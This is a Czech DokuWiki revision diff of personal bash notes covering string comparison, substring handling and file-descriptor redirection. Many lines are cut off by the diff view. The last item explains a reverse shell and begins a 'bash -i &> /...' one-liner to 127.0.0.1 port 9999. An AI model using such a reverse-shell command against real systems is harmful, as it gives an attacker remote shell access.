bash_general
Rozdíly
Zde můžete vidět rozdíly mezi vybranou verzí a aktuální verzí dané stránky.
| Obě strany předchozí revizePředchozí verzeNásledující verze | Předchozí verze | ||
| bash_general [2014/10/07 12:46] – [Čtení ze souboru] djbuldog | bash_general [2025/08/28 10:09] (aktuální) – upraveno mimo DokuWiki 127.0.0.1 | ||
|---|---|---|---|
| Řádek 51: | Řádek 51: | ||
| RE_IP=" | RE_IP=" | ||
| </ | </ | ||
| + | |||
| + | ==== Startwith/ | ||
| + | |||
| + | * pro porovnání typu startwith/ | ||
| + | |||
| + | <code bash> | ||
| + | MY_STR=" | ||
| + | MY_SUB1=" | ||
| + | MY_SUB2=" | ||
| + | |||
| + | echo " | ||
| + | [ " | ||
| + | [ " | ||
| + | </ | ||
| + | |||
| + | < | ||
| + | ABC, 123 | ||
| + | 123ABC startwith 123 | ||
| + | 123ABC endwith ABC | ||
| + | </ | ||
| + | |||
| + | ===== Řetězce ===== | ||
| + | |||
| + | * http:// | ||
| + | * nahrazení všech výskytů podřetězce řetězcem | ||
| + | |||
| + | <code bash> | ||
| + | X=" | ||
| + | a#b#c | ||
| + | </ | ||
| + | |||
| + | * získání podřetězce | ||
| + | |||
| + | <code bash> | ||
| + | x=" | ||
| + | BBB | ||
| + | AAA | ||
| + | </ | ||
| + | |||
| + | ===== vstupy/ | ||
| + | |||
| + | * standardní file descriptor procesu: | ||
| + | * 0 STDIN | ||
| + | * 1 STDOUT | ||
| + | * 2 STDERR | ||
| + | |||
| + | * otevři soubor /tmp/x pro zápis jako STDOUT (FD 1) | ||
| + | |||
| + | exec > /tmp/x | ||
| + | echo " | ||
| + | |||
| + | echo " | ||
| + | |||
| + | * zduplikuj FD 2 na FD 1 | ||
| + | |||
| + | exec 2>&1 | ||
| + | |||
| + | * nastav FD1 + FD2 na /tmp/x | ||
| + | |||
| + | exec &> /tmp/x | ||
| + | |||
| + | * nastav stdin na stejný fd jeako stdout | ||
| + | |||
| + | 0>&1 | ||
| + | |||
| + | 0<&1 | ||
| + | |||
| + | <&1 | ||
| + | |||
| + | * reverse shell: vytvoř TCP soket na IP 127.0.0.1, port 9999, nasměruj na něj výstup interaktivního bash shellu a vstup čti z tohoto socketu | ||
| + | |||
| + | bash -i &> / | ||
| + | |||
bash_general.1412678798.txt.gz · Poslední úprava: (upraveno mimo DokuWiki)
